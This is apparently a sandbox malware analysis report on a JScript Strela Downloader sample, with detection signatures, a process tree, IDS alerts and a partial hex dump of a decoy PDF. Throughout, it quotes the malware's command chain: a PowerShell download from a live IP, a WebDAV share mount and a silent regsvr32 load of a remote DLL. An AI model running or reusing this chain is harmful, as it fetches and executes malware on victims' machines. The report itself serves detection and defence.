Edit tour

Windows Analysis Report
1972921391166218927.js

Overview

General Information

Sample name:	1972921391166218927.js
Analysis ID:	1589908
MD5:	dee92408705455e1e9f9c9af72aaf95d
SHA1:	196209ef379ebba351faeb87c29d00de09703694
SHA256:	3803f0376ec9ec9f994900f80d15bf069eb9bf7d6281bfe178e28a025a044c81
Tags:	jsuser-lowmal3
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1984 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2340 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3272 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2452 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,4100416160910318188,17056196389854407797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3660 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3760 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4788 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1984	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3272, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3272, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ProcessId: 1984, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3760, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ProcessId: 2340, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ProcessId: 1984, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2340, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3272, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3760, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4788, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3760, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll, ProcessId: 2340, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T10:14:12.131434+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T10:14:14.387513+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T10:14:12.131434+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:14:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6
